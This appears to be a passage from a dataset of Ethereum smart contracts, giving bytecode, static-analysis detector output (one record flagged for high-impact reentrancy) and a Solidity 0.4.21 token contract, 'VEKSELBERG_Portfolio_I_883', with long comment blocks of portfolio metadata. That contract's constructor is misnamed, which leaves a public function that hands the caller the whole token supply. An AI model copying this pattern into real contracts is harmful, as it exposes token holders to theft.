6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040d565b6001600160a01b038216610d5b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040d565b60008111610dbd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040d565b6001600160a01b03831660009081526006602052604090205460ff1615610de357600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e2557506001600160a01b03821660009081526005602052604090205460ff16155b15610f7c576000600955600c54600a55600f546001600160a01b038481169116148015610e605750600e546001600160a01b03838116911614155b8015610e8557506001600160a01b03821660009081526005602052604090205460ff16155b8015610e9a5750600f54600160b81b900460ff165b15610eae57601054811115610eae57600080fd5b600f546001600160a01b038381169116148015610ed95750600e546001600160a01b03848116911614155b8015610efe57506001600160a01b03831660009081526005602052604090205460ff16155b15610f0f576000600955600b54600a555b6000610f1a30610575565b600f54909150600160a81b900460ff16158015610f455750600f546001600160a01b03858116911614155b8015610f5a5750600f54600160b01b900460ff165b15610f7a57610f6881611084565b478015610f7857610f7847610fc6565b505b505b610f87838383611229565b505050565b60008184841115610fb05760405162461bcd60e51b815260040161040d91906118bd565b506000610fbd8486611a0c565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f7573d6000803e3d6000fd5b60006007548211156110675760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161040d565b6000611071611234565b905061107d8382611257565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110da57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561112e57600080fd5b505afa158015611142573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116691906116ba565b8160018151811061118757634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111ad9130911684610b71565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111e6908590600090869030904290600401611945565b600060405180830381600087803b15801561120057600080fd5b505af1158015611214573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f87838383611299565b6000806000611241611390565b90925090506112508282611257565b9250505090565b600061107d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d0565b6000806000806000806112ab876113fe565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112dd908761145b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461130c908661149d565b6001600160a01b03891660009081526002602052604090205561132e816114fc565b6113388483611546565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161137d91815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113ab8282611257565b8210156113c757505060075492670de0b6b3a764000092509050565b90939092509050565b600081836113f15760405162461bcd60e51b815260040161040d91906118bd565b506000610fbd84866119cd565b600080600080600080600080600061141b8a600954600a5461156a565b925092509250600061142b611234565b9050600080600061143e8e8787876115bf565b919e509c509a509598509396509194505050505091939550919395565b600061107d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f8c565b6000806114aa83856119b5565b90508381101561107d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040d565b6000611506611234565b90506000611514838361160f565b30600090815260026020526040902054909150611531908261149d565b30600090815260026020526040902055505050565b600754611553908361145b565b600755600854611563908261149d565b6008555050565b6000808080611584606461157e898961160f565b90611257565b90506000611597606461157e8a8961160f565b905060006115af826115a98b8661145b565b9061145b565b9992985090965090945050505050565b60008080806115ce888661160f565b905060006115dc888761160f565b905060006115ea888861160f565b905060006115fc826115a9868661145b565b939b939a50919850919650505050505050565b60008261161e57506000610445565b600061162a83856119ed565b90508261163785836119cd565b1461107d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040d565b803561169981611a6a565b919050565b6000602082840312156116af578081fd5b813561107d81611a6a565b6000602082840312156116cb578081fd5b815161107d81611a6a565b600080604083850312156116e8578081fd5b82356116f381611a6a565b9150602083013561170381611a6a565b809150509250929050565b600080600060608486031215611722578081fd5b833561172d81611a6a565b9250602084013561173d81611a6a565b929592945050506040919091013590565b60008060408385031215611760578182fd5b823561176b81611a6a565b946020939093013593505050565b6000602080838503121561178b578182fd5b823567ffffffffffffffff808211156117a2578384fd5b818501915085601f8301126117b5578384fd5b8135818111156117c7576117c7611a54565b8060051b604051601f19603f830116810181811085821117156117ec576117ec611a54565b604052828152858101935084860182860187018a101561180a578788fd5b8795505b838610156118335761181f8161168e565b85526001959095019493860193860161180e565b5098975050505050505050565b600060208284031215611851578081fd5b813561107d81611a7f565b60006020828403121561186d578081fd5b815161107d81611a7f565b600060208284031215611889578081fd5b5035919050565b6000806000606084860312156118a4578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118e9578581018301518582016040015282016118cd565b818111156118fa5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119945784516001600160a01b03168352938301939183019160010161196f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119c8576119c8611a3e565b500190565b6000826119e857634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a0757611a07611a3e565b500290565b600082821015611a1e57611a1e611a3e565b500390565b6000600019821415611a3757611a37611a3e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048a57600080fd5b801515811461048a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220490ca94e99325711df4c1653989acd2f460b253395c9ad35283e019d98cb1ded64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,921 |
0x1ba0383fd6b699f35c804a4179536a7c4473780e
|
pragma solidity ^0.4.21 ;
contract VEKSELBERG_Portfolio_I_883 {
mapping (address => uint256) public balanceOf;
string public name = " VEKSELBERG_Portfolio_I_883 " ;
string public symbol = " VEK883 " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 1248388771473920000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < VEKSELBERG_Portfolio_I_metadata_line_1_____Octo_Telematics_20250515 >
// < EKRSqS2yGRKDo97T05k3986AGvdb0cuGqseOzpqD07IgSzF7ouXqs1NCFZ80cpBe >
// < u =="0.000000000000000001" : ] 000000000000000.000000000000000000 ; 000000023042028.993840800000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000000000037A0ED4 >
// < VEKSELBERG_Portfolio_I_metadata_line_2_____Hevel_LLC_20250515 >
// < s0ObBpti17J5WccIyF43X8F052pT036j93bDvxUA93mmAGoO6Y2IPutMHPM8HOkz >
// < u =="0.000000000000000001" : ] 000000023042028.993840800000000000 ; 000000052775685.551625400000000000 ] >
// < 0x000000000000000000000000000000000000000000000000037A0ED456471373 >
// < VEKSELBERG_Portfolio_I_metadata_line_3_____Big_Pension_Fund_20250515 >
// < RnJNF7P9op2hTh08s75v5Bq9U857D88T1Wny2c0AJKks6vI4R0C3k5Q071wl6p3f >
// < u =="0.000000000000000001" : ] 000000052775685.551625400000000000 ; 000000080573727.454863400000000000 ] >
// < 0x00000000000000000000000000000000000000000000000564713732B64E852B >
// < VEKSELBERG_Portfolio_I_metadata_line_4_____Airports_Regions_20250515 >
// < G9SzEctYK0xxHh8855259gU1ZIh523io7PXFoz1JHU9P2v976q6Mi57Jc3p94WsM >
// < u =="0.000000000000000001" : ] 000000080573727.454863400000000000 ; 000000120250863.429500000000000000 ] >
// < 0x00000000000000000000000000000000000000000000002B64E852B4E34C5460 >
// < VEKSELBERG_Portfolio_I_metadata_line_5_____Zoloto_Kamchatki_20250515 >
// < oe66Ec43e69T6qs7JYUq56JF2DShp1b63KINtrVBE2zrpHtRsGjvjVC7M5NQ1YXz >
// < u =="0.000000000000000001" : ] 000000120250863.429500000000000000 ; 000000147530690.473885000000000000 ] >
// < 0x00000000000000000000000000000000000000000000004E34C54604ECBCF485 >
// < VEKSELBERG_Portfolio_I_metadata_line_6_____Ekaterinburg_non_Ferrous_Metals_Processing_Plant_20250515 >
// < G3BfPZr3O1J6K45vh2qyJV8cv0nCy2rEscPukD888PI648RBxtlHN7NTr4CqH7cH >
// < u =="0.000000000000000001" : ] 000000147530690.473885000000000000 ; 000000176512024.769395000000000000 ] >
// < 0x00000000000000000000000000000000000000000000004ECBCF48550ED00309 >
// < VEKSELBERG_Portfolio_I_metadata_line_7_____Rotec_20250515 >
// < o3f7Qb5l187PpC8ZasDh8R7iPFU1D129GQDT85WOVw5i8f9sA1qpU1ueweFv4NDp >
// < u =="0.000000000000000001" : ] 000000176512024.769395000000000000 ; 000000211362058.583589000000000000 ] >
// < 0x000000000000000000000000000000000000000000000050ED00309816B8E20D >
// < VEKSELBERG_Portfolio_I_metadata_line_8_____Ural_Turbine_Works_20250515 >
// < l83YqZiQ9S6oO061lE1OuOU7v3R4cZ0A93P6AU67St9Cy9pyqr5GwwbT908dLEIe >
// < u =="0.000000000000000001" : ] 000000211362058.583589000000000000 ; 000000250124829.957700000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000816B8E20DBFD699807 >
// < VEKSELBERG_Portfolio_I_metadata_line_9_____Invetsment_Fund_New_Europe_Real_Estate_Limited_20250515 >
// < atITlU00O8Oc88G1ngL00C1G3zxX09YQ2U68UYUQ4fPhuUzIgUBKShM0566iO416 >
// < u =="0.000000000000000001" : ] 000000250124829.957700000000000000 ; 000000289836954.309925000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000BFD699807C00CC925C >
// < VEKSELBERG_Portfolio_I_metadata_line_10_____Kamensk_Uralsky_non_Ferrous_Metals_Working_Plant_20250515 >
// < PDdWzd4eadV6VBNiG2DFh76hDsOlQ78SvSSIe4q44N0MgR8CQ51BqF36bwQHZt63 >
// < u =="0.000000000000000001" : ] 000000289836954.309925000000000000 ; 000000314241946.682258000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000C00CC925CC8B19E052 >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < VEKSELBERG_Portfolio_I_metadata_line_11_____Renova_Management_20250515 >
// < 4i7rfOM3r1FPPs4WEp0L3FI07kl7zQNMUtkJpfjep3JJ2fSe9NuIq1is0R8l2Wd6 >
// < u =="0.000000000000000001" : ] 000000314241946.682258000000000000 ; 000000341440588.392048000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000C8B19E052C95A3ECBC >
// < VEKSELBERG_Portfolio_I_metadata_line_12_____Oerlikon_20250515 >
// < xnR1X1x65V8ny3i0uTbe15YH791T6TxNrt81h7kXY9d0U61p9DI0M47ZpdN04IE2 >
// < u =="0.000000000000000001" : ] 000000341440588.392048000000000000 ; 000000379744181.328077000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000C95A3ECBCCA5EAC970 >
// < VEKSELBERG_Portfolio_I_metadata_line_13_____Sulzer_20250515 >
// < lG8xa5QK97iN837vZjHKCD9N30SHsyujt349K11vf8O67kUVGChwNfPC3z3WSwz6 >
// < u =="0.000000000000000001" : ] 000000379744181.328077000000000000 ; 000000404968043.601462000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000CA5EAC970CFBA12F64 >
// < VEKSELBERG_Portfolio_I_metadata_line_14_____Akado_20250515 >
// < q0t03rXWc09kJE187kGm4ht1aYfBIQ3zB7bYbHE74uT6U0SCevFQhAqV7wivG13m >
// < u =="0.000000000000000001" : ] 000000404968043.601462000000000000 ; 000000443413207.517843000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000CFBA12F64D359422C8 >
// < VEKSELBERG_Portfolio_I_metadata_line_15_____Akado_Telecom_20250515 >
// < BHWzvc1GqoDemvGkUFEs1wCXEa368MDxUqcTWBhuzsZmR3nHF075Tsl47852Y119 >
// < u =="0.000000000000000001" : ] 000000443413207.517843000000000000 ; 000000479267729.497339000000000000 ] >
// < 0x000000000000000000000000000000000000000000000D359422C81191394DA5 >
// < VEKSELBERG_Portfolio_I_metadata_line_16_____Orgsyntes_Group_20250515 >
// < v6qRni01Ku0L6pC01A2u6P5B13O06O0rR6oTT6dJH0H2zWnMvP5EwlbinNP76FNe >
// < u =="0.000000000000000001" : ] 000000479267729.497339000000000000 ; 000000513810214.854941000000000000 ] >
// < 0x000000000000000000000000000000000000000000001191394DA5119E78BA38 >
// < VEKSELBERG_Portfolio_I_metadata_line_17_____Khimprom_Novocheboksarsk_20250515 >
// < M2fUsdLXvIj3PutiUw3Rj5uB8iROZx0G3mcP3L4H8UZ28m58u8u316czB8xRqlh4 >
// < u =="0.000000000000000001" : ] 000000513810214.854941000000000000 ; 000000541921460.861913000000000000 ] >
// < 0x00000000000000000000000000000000000000000000119E78BA3811A5A651C7 >
// < VEKSELBERG_Portfolio_I_metadata_line_18_____Percarbonate_20250515 >
// < n02txCFf6yf6o2YH0Xy2q7G2B4HzHo6Vm74gOEfeqd0u01t4yYWk31M5Duxd723y >
// < u =="0.000000000000000001" : ] 000000541921460.861913000000000000 ; 000000565570928.010199000000000000 ] >
// < 0x0000000000000000000000000000000000000000000011A5A651C711A7337AA6 >
// < VEKSELBERG_Portfolio_I_metadata_line_19_____Kortros_20250515 >
// < 0d6xgPE0HkY6Fg4Q7cV1Na1RB51ivlpdk7V66AJVaBc5wM6oesZDIQFfe0LfC72r >
// < u =="0.000000000000000001" : ] 000000565570928.010199000000000000 ; 000000589235868.702825000000000000 ] >
// < 0x0000000000000000000000000000000000000000000011A7337AA611A80D764A >
// < VEKSELBERG_Portfolio_I_metadata_line_20_____Academia_City_20250515 >
// < olmhpjEKJl5qk1CSVkBy2wB45UULhes4n6g3OAr0Cz8HDv29RO6a3jC2A14rf9F5 >
// < u =="0.000000000000000001" : ] 000000589235868.702825000000000000 ; 000000623079382.960559000000000000 ] >
// < 0x0000000000000000000000000000000000000000000011A80D764A11A9E0DEC1 >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < VEKSELBERG_Portfolio_I_metadata_line_21_____Energoprom_Group_20250515 >
// < 2ftJL48ky9S2ig80MFR5GeH92a66iccBj1MdRWU28bR8i8819RE81eUTim0QR5h4 >
// < u =="0.000000000000000001" : ] 000000623079382.960559000000000000 ; 000000655160100.266606000000000000 ] >
// < 0x0000000000000000000000000000000000000000000011A9E0DEC11337C233DB >
// < VEKSELBERG_Portfolio_I_metadata_line_22_____Novocherkassk_Electrode_Plant_20250515 >
// < 584t7Eoo72PukQUp608h5J2vZJm13Q89k4pO9C3tpU6P7pX600dx0EZ3n9e962rz >
// < u =="0.000000000000000001" : ] 000000655160100.266606000000000000 ; 000000678795138.435003000000000000 ] >
// < 0x000000000000000000000000000000000000000000001337C233DB16FC133A49 >
// < VEKSELBERG_Portfolio_I_metadata_line_23_____Novosibirsk_Electrode_Plant_20250515 >
// < 8SVVxy322965mRt5I768r0A8412Q55Fdl836Uu6tmjquhZz6qS9i597qCNx8V92C >
// < u =="0.000000000000000001" : ] 000000678795138.435003000000000000 ; 000000718084387.936806000000000000 ] >
// < 0x0000000000000000000000000000000000000000000016FC133A4916FCE8C776 >
// < VEKSELBERG_Portfolio_I_metadata_line_24_____Chelyabinsk_Electrode_Plant_20250515 >
// < h1D21a1cOQ1gJyAZ97ETT2a7BkE07GPkA98b7ujAJ1R8OIG1G6B60pWSI0mxaqKl >
// < u =="0.000000000000000001" : ] 000000718084387.936806000000000000 ; 000000751142944.299394000000000000 ] >
// < 0x0000000000000000000000000000000000000000000016FCE8C77616FE4B3578 >
// < VEKSELBERG_Portfolio_I_metadata_line_25_____Columbus_Nova_20250515 >
// < lUtolol1xKrSOD4qYCXZwla520072i5flx6C10SFi48BKad65surUBT1TZ6kfsmC >
// < u =="0.000000000000000001" : ] 000000751142944.299394000000000000 ; 000000779727170.939986000000000000 ] >
// < 0x0000000000000000000000000000000000000000000016FE4B357817094B7C8A >
// < VEKSELBERG_Portfolio_I_metadata_line_26_____Irkutskcable_Kirscable_20250515 >
// < 60fPi84eH99S8rmSnH84064hX4qoRO090Pb3dRl0B34AIfDr0WpNU36BqKs7dHtV >
// < u =="0.000000000000000001" : ] 000000779727170.939986000000000000 ; 000000802191417.439658000000000000 ] >
// < 0x0000000000000000000000000000000000000000000017094B7C8A170A9FCB93 >
// < VEKSELBERG_Portfolio_I_metadata_line_27_____Kamensk_Uralsky_Metallurgical_Works_20250515 >
// < aJCdZhjnMcCpWQ9u3q9GKowac415c4103e8Rp58kDABKktO57TBBo3c2043Dhk88 >
// < u =="0.000000000000000001" : ] 000000802191417.439658000000000000 ; 000000832978406.470545000000000000 ] >
// < 0x00000000000000000000000000000000000000000000170A9FCB931710216274 >
// < VEKSELBERG_Portfolio_I_metadata_line_28_____United_Manganese_Kalahari_20250515 >
// < EJ3TXbzt6dECQmY0TYZ5MF0dng3r0M25yh0xp98tM67g9C1O40vNZWn9Tmvd2Rw2 >
// < u =="0.000000000000000001" : ] 000000832978406.470545000000000000 ; 000000856794111.031656000000000000 ] >
// < 0x0000000000000000000000000000000000000000000017102162741710DAFC71 >
// < VEKSELBERG_Portfolio_I_metadata_line_29_____Bank_Cyprus_Group_20250515 >
// < dgKGtjpB1O456W07rY0KGMqNQQmV06P7QY4AGBjnsO4P1O4u9AqvfmHRMlI25A8m >
// < u =="0.000000000000000001" : ] 000000856794111.031656000000000000 ; 000000896058416.182399000000000000 ] >
// < 0x000000000000000000000000000000000000000000001710DAFC71171F5B98B4 >
// < VEKSELBERG_Portfolio_I_metadata_line_30_____Skolkovo_Foundation_20250515 >
// < 4RP21423cu16GNKtLwmY9n9l7T9rNA232959oko1Pb4kZMyvRI56A6GPLhsJqb3w >
// < u =="0.000000000000000001" : ] 000000896058416.182399000000000000 ; 000000934008155.568507000000000000 ] >
// < 0x00000000000000000000000000000000000000000000171F5B98B41B22EC3D9C >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < VEKSELBERG_Portfolio_I_metadata_line_31_____Ascometal_SAS_20250515 >
// < 40Oo3UTarPPlhoanLXf4UNpl81pYgu52ehXkiWhNfpt4YwT15ABO8985eU1UdDH5 >
// < u =="0.000000000000000001" : ] 000000934008155.568507000000000000 ; 000000966287331.905784000000000000 ] >
// < 0x000000000000000000000000000000000000000000001B22EC3D9C1E0D333C03 >
// < VEKSELBERG_Portfolio_I_metadata_line_32_____Ascometal_gmbh_20250515 >
// < Vk07wp2L3GDCkXX53DRXlL3z2h4KiOCWzoDK74jlGh8Xxw4eA36ibZsw3jCK8hK2 >
// < u =="0.000000000000000001" : ] 000000966287331.905784000000000000 ; 000000989734609.846814000000000000 ] >
// < 0x000000000000000000000000000000000000000000001E0D333C031E29356C3E >
// < VEKSELBERG_Portfolio_I_metadata_line_33_____Schmolz_Bickenbach_20250515 >
// < L8bI4Hlk73H8ezT04mp01aVi60QnSvV967H288TV67k2WR773XwaNOTI96T493We >
// < u =="0.000000000000000001" : ] 000000989734609.846814000000000000 ; 000001015241645.880770000000000000 ] >
// < 0x000000000000000000000000000000000000000000001E29356C3E1E2A15F705 >
// < VEKSELBERG_Portfolio_I_metadata_line_34_____Deutsche_Edelstahlwerke_GmbH_20250515 >
// < 1AS7n652WZ78qnEbmHZGSPWMwyO3U1A121S95OTeDmRvhHnS8B9sGFB17074e85R >
// < u =="0.000000000000000001" : ] 000001015241645.880770000000000000 ; 000001043255370.431440000000000000 ] >
// < 0x000000000000000000000000000000000000000000001E2A15F7051E37D2E629 >
// < VEKSELBERG_Portfolio_I_metadata_line_35_____A_Finkl_Sons_Steel_20250515 >
// < 8nb511JJ1JNOE9ACrR2DhPjAwv67c5wJOiDDJ8Go4Bty03Y7DbFU6Om9Oz5pTR0C >
// < u =="0.000000000000000001" : ] 000001043255370.431440000000000000 ; 000001073611986.757450000000000000 ] >
// < 0x000000000000000000000000000000000000000000001E37D2E62921F0EF1D76 >
// < VEKSELBERG_Portfolio_I_metadata_line_36_____dr._wilhelm_mertens_gmbh_20250515 >
// < A85B453pTrw5yeEeUyv05A185e92Ywd7103RrvOot9YTs9jVa5s1CypZtaPxgK3I >
// < u =="0.000000000000000001" : ] 000001073611986.757450000000000000 ; 000001107231909.406060000000000000 ] >
// < 0x0000000000000000000000000000000000000000000021F0EF1D7623C829D434 >
// < VEKSELBERG_Portfolio_I_metadata_line_37_____stemcor_flachstahl_gmbh_20250515 >
// < cvPGEhq5TR3R90sQo1rDoTPWwhNyg8eniC61hQ3y72PLZBuNOtV6fp3YiYPIDqi2 >
// < u =="0.000000000000000001" : ] 000001107231909.406060000000000000 ; 000001146506892.993330000000000000 ] >
// < 0x0000000000000000000000000000000000000000000023C829D43423C95BAE77 >
// < VEKSELBERG_Portfolio_I_metadata_line_38_____dk_automotive_ag_20250515 >
// < pE0YvaeM29u3rcnZfcLT2ezX1IRu3tBBxtC2Wu4h18Q1n0f0y5DoNM9op6O9nd2u >
// < u =="0.000000000000000001" : ] 000001146506892.993330000000000000 ; 000001182514322.750160000000000000 ] >
// < 0x0000000000000000000000000000000000000000000023C95BAE7724A65522E8 >
// < VEKSELBERG_Portfolio_I_metadata_line_39_____deutsche_edelstahlwerke_härterei_technik_gmbh_20250515 >
// < T1HkhBTC8b4teSRFVG59x5S5BK7LI6IDOoVTM4oZXNJ5P1W0W834dcXo7E9Yv9nN >
// < u =="0.000000000000000001" : ] 000001182514322.750160000000000000 ; 000001219191805.625200000000000000 ] >
// < 0x0000000000000000000000000000000000000000000024A65522E824C0198909 >
// < VEKSELBERG_Portfolio_I_metadata_line_40_____schmolz_bickenbach_polska_spzoo_20250515 >
// < 2RYC8w4jiUGR2u3YzcqcubQZ2X88b6B76hP6MLuE68WUxsPAbpIknzraqW15lk40 >
// < u =="0.000000000000000001" : ] 000001219191805.625200000000000000 ; 000001248388771.473920000000000000 ] >
// < 0x0000000000000000000000000000000000000000000024C019890924C8475D18 >
}
|
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a7230582026438d68ac5d8a75f70baff205a603fecec2b80b26c2d14e1e26f46b45675e9c0029
|
{"success": true, "error": null, "results": {}}
| 8,922 |
0xbe08ef12e4a553666291e9ffc24fccfd354f2dd2
|
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
